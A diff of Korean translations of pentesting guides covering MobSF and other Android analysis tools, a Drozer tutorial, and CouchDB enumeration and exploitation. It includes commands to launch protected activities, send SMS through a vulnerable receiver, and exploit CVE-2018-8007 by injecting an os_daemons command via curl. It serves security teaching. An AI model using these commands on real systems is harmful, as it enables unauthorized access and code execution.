- **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다.
- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다.
- **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다.
- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 봅니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
사용할 보조 모듈을 선택한 후 "**Start Intrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다.
사용할 보조 모듈을 선택한 후 "**Start Instrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다.
**Shell**
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 제공하는 셸도 제공합니다. 몇 가지 흥미로운 명령:
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
```bash
help
shell ls
@ -570,32 +570,32 @@ receivers
```
**HTTP 도구**
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
이를 위해, _Burp 전원 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
HTTP 트래픽을 캡처하면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾을 수 있습니다.
> [!NOTE]
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Inspeckage를 통한 보조 동적 분석
### Inspeckage를 이용한 보조 동적 분석
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **후크**를 사용합니다.
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **Hooks**를 사용합니다.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
이것은 **GUI를 사용한 정적 분석을 수행하기 위한 훌륭한 도구**입니다.
이것은 **GUI로 정적 분석을 수행하기 위한 훌륭한 도구**입니다.
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾도록 설계되었습니다. 이 도구는 또한 발견된 취약점(노출된 활동, 인텐트, 탭재킹 등)을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다. Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -615,9 +615,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다.
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지하는 방식으로 이루어집니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 생성할 수 있습니다.
최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
```
@ -629,7 +629,7 @@ super-analyzer {apk_file}
StaCoAn은 개발자, 버그 바운티 헌터 및 윤리적 해커가 모바일 애플리케이션에 대해 [정적 코드 분석](https://en.wikipedia.org/wiki/Static_program_analysis)을 수행하는 데 도움을 주는 **크로스 플랫폼** 도구입니다.
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성하는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다.
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성한다는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다.
다운로드[ 최신 릴리스](https://github.com/vincentcox/StaCoAn/releases):
```
@ -645,9 +645,9 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 탐지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
탐지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
이 도구는 다음과 같은 **"나쁜" 애플리케이션의 일반적인 행동**을 찾습니다: 전화 식별자 유출, 오디오/비디오 흐름 가로채기, PIM 데이터 수정, 임의 코드 실행...
```
@ -664,17 +664,17 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
- 다양한 도구를 사용하여 Java 및 Smali 코드를 추출합니다.
- 다음을 사용하여 APK를 분석합니다: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- 정규 표현식을 사용하여 APK에서 개인 정보를 추출합니다.
- 매니페스트를 분석합니다.
- Manifest를 분석합니다.
- 다음을 사용하여 발견된 도메인을 분석합니다: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) 및 [whatweb](https://github.com/urbanadventurer/WhatWeb)
- [apk-deguard.com](http://www.apk-deguard.com)을 통해 APK를 디오브스큐레이션합니다.
- [apk-deguard.com](http://www.apk-deguard.com)을 통해 APK를 디옵스큐레이션합니다.
### Koodous
악성 소프트웨어를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
## 코드 난독화/디오브스큐레이션
## 코드 난독화/디옵스큐레이션
코드를 난독화하는 데 사용하는 서비스와 구성에 따라 비밀이 난독화될 수도 있고 그렇지 않을 수도 있습니다.
사용하는 서비스와 구성에 따라 코드 난독화가 이루어질 수 있습니다. 비밀 정보는 난독화될 수도 있고 그렇지 않을 수도 있습니다.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
@ -684,29 +684,29 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
### [DexGuard](https://www.guardsquare.com/dexguard)
APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다.
APK를 디옵스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다.
(그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다:
- 리소스를 InputStream으로 로드합니다;
- 결과를 FilterInputStream에서 상속받은 클래스에 제공하여 복호화합니다;
- 리버서의 시간을 몇 분 낭비하기 위해 쓸모없는 난독화를 수행합니다;
- 리버서의 시간을 낭비하기 위해 쓸모없는 난독화를 수행합니다;
- 복호화된 결과를 ZipInputStream에 제공하여 DEX 파일을 가져옵니다;
- 마지막으로 `loadDex` 메서드를 사용하여 결과 DEX를 리소스로 로드합니다.
### [DeGuard](http://apk-deguard.com)
**DeGuard는 Android 난독화 도구가 수행한 난독화 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 여러 보안 분석이 가능합니다.**
난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디오브스큐레이션하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다.
이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디옵스큐레이션하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다.
### [Simplify](https://github.com/CalebFenton/simplify)
이는 **일반 Android 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다.
이는 **일반 Android 디옵스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형에 관계없이 적용됩니다.
### [APKiD](https://github.com/rednaga/APKiD)
@ -720,7 +720,7 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실험실을 포함합니다.
AndroL4b는 우분투-메이트를 기반으로 한 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습을 포함합니다.
## References

40
src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
View File

@ -13,13 +13,13 @@
## 설치
호스트에 Drozer Client를 설치합니다. [최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 다운로드하세요.
호스트 내에 Drozer Client를 설치합니다. [최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 다운로드하세요.
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
[최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 drozer APK를 다운로드하고 설치하세요. 현재는 [이것](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)입니다.
[최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 drozer APK를 다운로드하고 설치하세요. 현재 버전은 [이것](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)입니다.
```bash
adb install drozer.apk
```
@ -29,7 +29,7 @@ Agent는 포트 31415에서 실행되고 있으며, Drozer Client와 Agent 간
```bash
adb forward tcp:31415 tcp:31415
```
마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**"을 누릅니다.
마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**" 버튼을 누릅니다.
![](<../../../images/image (459).png>)
@ -41,13 +41,13 @@ drozer console connect
| **Commands** | **Description** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. |
| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. |
| **Help MODULE** | 선택한 모듈의 도움말을 보여줍니다. |
| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 보여줍니다. 이는 적절한 권한이 없는 모듈은 숨깁니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. |
| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. |
| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. |
| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. |
| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 지정된 변수를 제거합니다. |
| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **run MODULE** | drozer 모듈을 실행합니다. |
@ -56,7 +56,7 @@ drozer console connect
### Package
패키지의 **이름**을 이름의 일부로 필터링하여 찾습니다:
**이름**의 일부로 필터링하여 패키지의 **이름**을 찾습니다:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
@ -81,7 +81,7 @@ Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
**매니페스트 읽기**:
**Manifest** 읽기:
```bash
run app.package.manifest jakhar.aseem.diva
```
@ -102,7 +102,7 @@ is debuggable
### 활동
내보내기된 활동 구성 요소의 “android:exported” 값이 AndroidManifest.xml 파일에서 **“true”**로 설정되어 있습니다:
내보내기된 활동 구성 요소의 “android:exported” 값은 AndroidManifest.xml 파일에서 **“true”**로 설정됩니다:
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
@ -115,9 +115,9 @@ com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**활동 시작**:
**Start activity**:
아마도 활동을 시작하고 이를 실행하는 것을 방지해야 하는 어떤 종류의 권한 부여를 우회할 수 있을 것입니다.
아마도 활동을 시작하고 이를 시작하는 것을 방지해야 하는 어떤 종류의 권한 부여를 우회할 수 있을 것입니다.
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
@ -138,11 +138,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
코드 내부에서 **check**를 위해 **`handleMessage`** 함수가 **메시지**를 **받는**지 확인하세요:
코드 **check**에서 **`handleMessage`** 함수를 확인하세요. 이 함수는 **message**를 **receive**합니다:
![](<../../../images/image (82).png>)
#### 서비스 목록
#### List service
```bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -163,8 +163,8 @@ app.service.stop Stop Service
![](<../../../images/image (1079).png>)
먼저 "_msg.what_" 안의 데이터를 전송한 다음, "_msg.arg1_" 및 "_msg.arg2_"를 전송합니다. **어떤 정보가 사용되고 있는지** 코드 안에서 확인해야 합니다.\
`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 무언가를 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다.
먼저 "_msg.what_" 안의 데이터를 전송한 다음, "_msg.arg1_"과 "_msg.arg2_"를 전송합니다. **어떤 정보가 사용되고 있는지** 코드 안에서 확인해야 합니다.\
`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 내용을 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다.
다음 예제에서:
@ -181,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
**Android 기본 정보 섹션에서 Broadcast Receiver가 무엇인지 확인할 수 있습니다**.
이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. 수신된 메시지를 처리할 **`onReceive`** 함수에 특별한 주의를 기울이세요.
이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별히 주의하세요. 이 함수는 수신된 메시지를 처리합니다.
#### **모든** broadcast receivers 감지
```bash
@ -208,21 +208,21 @@ Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### 방송 **상호작용**
#### Broadcast **상호작용**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### 메시지 전송
#### 메시지 보내기
이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **전송할 수 있습니다**.
이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **보낼 수 있습니다**.
![](<../../../images/image (415).png>)
![](<../../../images/image (573).png>)
코드를 읽어보면, 매개변수 "_phoneNumber_"와 "_message_"가 Content Provider에 전송되어야 합니다.
코드를 읽어보면, "_phoneNumber_"와 "_message_" 매개변수를 Content Provider에 전송해야 합니다.
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```

32
src/network-services-pentesting/5984-pentesting-couchdb.md
View File

@ -32,30 +32,30 @@ curl http://IP:5984/
> [!NOTE]
> couchdb의 루트에 접근할 때 `401 Unauthorized`와 같은 응답을 받으면: `{"error":"unauthorized","reason":"Authentication required."}` **배너나 다른 엔드포인트에 접근할 수 없습니다.**
### 정보 열거
### Info Enumeration
다음은 **GET** 요청으로 접근하여 흥미로운 정보를 추출할 수 있는 엔드포인트입니다. [**couchdb 문서에서 더 많은 엔드포인트와 자세한 설명을 찾을 수 있습니다**](https://docs.couchdb.org/en/latest/api/index.html).
- **`/_active_tasks`** 실행 중인 작업의 목록으로, 작업 유형, 이름, 상태 및 프로세스 ID를 포함합니다.
- **`/_all_dbs`** CouchDB 인스턴스의 모든 데이터베이스 목록을 반환합니다.
- \*\*`/_cluster_setup`\*\* 클러스터 설정 마법사에 따라 노드 또는 클러스터의 상태를 반환합니다.
- **`/_cluster_setup`** 클러스터 설정 마법사에 따라 노드 또는 클러스터의 상태를 반환합니다.
- **`/_db_updates`** CouchDB 인스턴스의 모든 데이터베이스 이벤트 목록을 반환합니다. 이 엔드포인트를 사용하려면 `_global_changes` 데이터베이스가 존재해야 합니다.
- **`/_membership`** 클러스터의 일부인 노드를 `cluster_nodes`로 표시합니다. `all_nodes` 필드는 이 노드가 알고 있는 모든 노드를 표시하며, 클러스터의 일부인 노드도 포함됩니다.
- **`/_scheduler/jobs`** 복제 작업 목록입니다. 각 작업 설명에는 소스 및 대상 정보, 복제 ID, 최근 이벤트의 이력 및 기타 몇 가지 정보가 포함됩니다.
- **`/_scheduler/docs`** 복제 문서 상태 목록입니다. `completed` 및 `failed` 상태의 모든 문서에 대한 정보를 포함합니다. 각 문서에 대해 문서 ID, 데이터베이스, 복제 ID, 소스 및 대상, 기타 정보를 반환합니다.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** `/_node/{node-name}` 엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보에 접근하기 위해 `/_node/_local`에 접근할 때 가장 유용합니다.
- **`/_node/{node-name}`** `/_node/{node-name}` 엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보에 접근할 때 `/_node/_local`을 사용하는 것이 가장 유용합니다.
- **`/_node/{node-name}/_stats`** `_stats` 리소스는 실행 중인 서버의 통계를 포함하는 JSON 객체를 반환합니다. 리터럴 문자열 `_local`은 로컬 노드 이름의 별칭으로 사용되므로, 모든 통계 URL에서 `{node-name}`을 `_local`로 대체하여 로컬 노드의 통계와 상호작용할 수 있습니다.
- **`/_node/{node-name}/_system`** \_system 리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 객체를 반환합니다. 현재 노드 정보를 얻기 위해 {node-name}으로 \_\_`_local`을 사용할 수 있습니다.
- **`/_node/{node-name}/_system`** \_system 리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 객체를 반환합니다. 현재 노드 정보를 얻기 위해 `{node-name}`에 `_local`을 사용할 수 있습니다.
- **`/_node/{node-name}/_restart`**
- **`/_up`** 서버가 작동 중이며 요청에 응답할 준비가 되었음을 확인합니다. [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode)가 `true` 또는 `nolb`인 경우, 엔드포인트는 404 응답을 반환합니다.
- \*\*`/_uuids`\*\* CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUIDs)를 요청합니다.
- \*\*`/_reshard`\*\* 클러스터의 재샤딩 상태와 함께 완료된, 실패한, 실행 중인, 중지된 및 총 작업 수를 반환합니다.
- **`/_uuids`** CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUID)를 요청합니다.
- **`/_reshard`** 클러스터에서 완료된, 실패한, 실행 중인, 중지된 작업의 수와 재분할 상태를 반환합니다.
여기에서 설명된 대로 더 흥미로운 정보를 추출할 수 있습니다: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
더 흥미로운 정보는 여기에서 추출할 수 있습니다: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **데이터베이스 목록**
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
@ -63,7 +63,7 @@ curl -X GET http://IP:5984/_all_dbs
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
유효한 자격 증명을 찾기 위해 **서비스를 브루트포스 시도할 수 있습니다** [**서비스를 브루트포스**](../generic-hacking/brute-force.md#couchdb).
유효한 자격 증명을 찾기 위해 **서비스를 브루트포스 시도할 수 있습니다** [**bruteforce the service**](../generic-hacking/brute-force.md#couchdb).
다음은 **충분한 권한**이 있어 데이터베이스를 나열할 수 있을 때의 couchdb **응답** **예시**입니다 (단순히 데이터베이스 목록입니다):
```bash
@ -71,7 +71,7 @@ curl -X GET http://user:password@IP:5984/_all_dbs
```
### 데이터베이스 정보
데이터베이스 이름에 접근하여 일부 데이터베이스 정보를 (파일 수 및 크기와 같은) 얻을 수 있습니다:
데이터베이스 이름에 접근하여 일부 데이터베이스 정보를 얻을 수 있습니다(파일 수 및 크기 등):
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
@ -120,7 +120,7 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
CouchDB 문서, 특히 클러스터 설정에 관한 섹션([링크](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup))에서는 클러스터 모드에서 CouchDB의 포트 사용에 대해 논의합니다. 독립 실행 모드와 마찬가지로 포트 `5984`가 사용된다고 언급되어 있습니다. 또한, 포트 `5986`은 노드 로컬 API에 사용되며, 중요하게도 Erlang은 Erlang 포트 매퍼 데몬(EPMD)을 위해 TCP 포트 `4369`가 필요하여 Erlang 클러스터 내에서 노드 간 통신을 용이하게 합니다. 이 설정은 각 노드가 서로 연결된 네트워크를 형성합니다.
포트 `4369`에 대한 중요한 보안 권고가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크에서 접근 가능하게 되면, 시스템의 보안은 "쿠키"라는 고유 식별자에 크게 의존하게 됩니다. 이 쿠키는 안전 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.
포트 `4369`에 대한 중요한 보안 권고가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크를 통해 접근 가능하게 되면, 시스템의 보안은 "쿠키"라는 고유 식별자에 크게 의존하게 됩니다. 이 쿠키는 안전 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
@ -131,9 +131,9 @@ homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bi
### **local.ini 수정으로 CVE-2018-8007 악용하기**
예시 [여기서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
예제 [여기서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
최근 공개된 취약점인 CVE-2018-8007은 Apache CouchDB에 영향을 미치며, 악용하려면 `local.ini` 파일에 대한 쓰기 권한이 필요하다는 것을 밝혔습니다. 보안 제한으로 인해 초기 대상 시스템에 직접 적용할 수는 없지만, 탐색 목적으로 `local.ini` 파일에 대한 쓰기 접근을 부여하기 위해 수정이 이루어졌습니다. 아래에는 이 과정을 보여주는 자세한 단계와 코드 예제가 제공됩니다.
최근 공개된 취약점인 CVE-2018-8007은 Apache CouchDB에 영향을 미치며, 악용하려면 `local.ini` 파일에 대한 쓰기 권한이 필요하다는 것을 밝혔습니다. 보안 제한으로 인해 초기 대상 시스템에 직접 적용할 수는 없지만, 탐색 목적으로 `local.ini` 파일에 쓰기 접근 권한을 부여하기 위해 수정이 이루어졌습니다. 아래에는 이 과정을 보여주는 자세한 단계와 코드 예제가 제공됩니다.
먼저, `local.ini` 파일이 쓰기 가능하도록 환경을 준비하며, 권한을 나열하여 확인합니다:
```bash
@ -143,7 +143,7 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
취약점을 악용하기 위해 `local.ini`의 `cors/origins` 구성에 대해 curl 명령이 실행됩니다. 이는 `[os_daemons]` 섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:
취약점을 악용하기 위해, `local.ini`의 `cors/origins` 구성에 대해 curl 명령이 실행됩니다. 이는 `[os_daemons]` 섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
@ -156,7 +156,7 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
초기에는 예상되는 파일(`/tmp/0xdf`)이 존재하지 않으며, 이는 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사를 통해 CouchDB와 관련된 프로세스가 실행되고 있으며, 그 중 하나는 주입된 명령을 실행할 수 있는 가능성이 있습니다:
초기에는 예상된 파일(`/tmp/0xdf`)이 존재하지 않으며, 이는 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사를 통해 CouchDB와 관련된 프로세스가 실행 중이며, 그 중 하나는 주입된 명령을 실행할 수 있는 가능성이 있습니다:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
